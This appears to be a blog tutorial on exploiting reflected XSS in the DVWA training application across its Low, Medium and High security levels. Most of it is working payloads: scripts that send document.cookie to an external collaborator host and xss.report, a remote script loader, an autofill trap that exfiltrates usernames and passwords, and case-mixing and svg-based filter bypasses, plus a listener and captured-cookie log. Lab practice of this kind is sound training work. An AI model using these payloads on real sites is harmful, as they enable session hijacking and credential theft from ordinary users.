🎯 DVWA XSS (Reflected) — Exploiting Every Security Level with Real Payloads

4 min readAug 5, 2025

--

In this article, we’ll explore Reflected XSS in Damn Vulnerable Web Application (DVWA), a popular web app built to help security learners practice common vulnerabilities.

We’ll walk through each security level in DVWA (Low, Medium, High) and adapt our XSS payloads accordingly. You’ll need: — 🧪 Burp Suite for intercepting/modifying requests — 🌐 A browser — 💻 A running DVWA instance (localhost or VM)

🔓 Level 1 — Low Security

This is the easiest level — almost no input sanitization. Let’s begin with a few basic XSS payloads.

Our input is reflected in a <pre> tag, so we can inject raw HTML and scripts directly.

✅ Payloads:

1. <script>prompt(document.domain)</script>
2. <img src=x onerror=alert(1)>
3. <script>alert(1)</script>
4. <svg onload=alert(1)>

🍪 Stealing Cookies

You can capture cookies using: — Burp Collaborator — Python server (for local testing) — Online tools like requestcatcher.com or xss.report

Payloads:

1. <script>fetch('https://e1guzhnxjtfycc483ca4o7i940aryhm6.oastify.com?cookie='+document.cookie);</script>
2. '"><script src=https://xss.report/c/cybernet></script> 
3. <script>window.location='http://127.0.0.1:1337/?cookie='+document.cookie</script>
4. <script>fetch('http://127.0.0.1:1337?cookie='+document.cookie);</script>

Start a Python Server:

$ sudo python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 ...

Output:

127.0.0.1 - - [17/Aug/2025 17:17:49] "GET /?cookie=PHPSESSID=abcd123; security=low HTTP/1.1" 200 -

🕵️‍♂️ Stealing Credentials via Autofill

If credentials are saved in the browser, we can extract them using this Payload:

1. <input id=username name=username> <input type=password name=password onchange='if(this.value.length) fetch("https://e1guzhnxjtfycc483ca4o7i940aryhm6.oastify.com?username="+username.value+"&password="+this.value)'>

Credential capture on Burpsuite Collaborator:

Once autofilled, credentials are exfiltrated via JavaScript.

🛡️ Level 2 — Medium Security

This level introduces basic filtering — for example, <script> tags are blacklisted.

Get Bhaskar Maity’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Let’s test some scriptless payloads:

1. <svg onload=alert(1)>
2. <img src=x onerror=alert(1)>
3. </select><svg/onload=alert(1)>

🍪 Cookie Stealing with Bypass:

1. <svg/onload=window.location='http://127.0.0.1:1337/?cookie='+document.cookie>
2. <svg onload="javascript:eval('var a=document.createElement('script');a.src='https://xss.report/c/cybernet';document.body.appendChild(a)')" />

The developer’s blacklist is case-sensitive, so use case variants to bypass:

1. <SCRIPT>window.location='http://127.0.0.1:1337/?cookie='+document.cookie</SCRIPT>
2. <sCripT>alert(1)</sCripT>
3. <scr<script>ipt>window.location='http://127.0.0.1:1337/?cookie='+document.cookie</script>

Cooke received on xss.report web application:

🔒 Level 3 — High Security

This level tightens the blacklist by filtering anything resembling <script> (e.g., <s*c*r*i*p*t>).

But it’s still bypassable using non-script elements like <svg>:

<svg/onload=window.location='http://127.0.0.1:1337/?cookie='+document.cookie>

Once again, the cookie is exfiltrated to our server.

✅ Summary

DVWA’s Reflected XSS module gives hands-on experience with how small tweaks in input sanitization can make or break web app security.

Security Level Key Vulnerability Bypass Technique Low No filtering Direct <script> Medium Basic blacklisting Use <svg>, mixed case High Regex filtering Use non-script HTML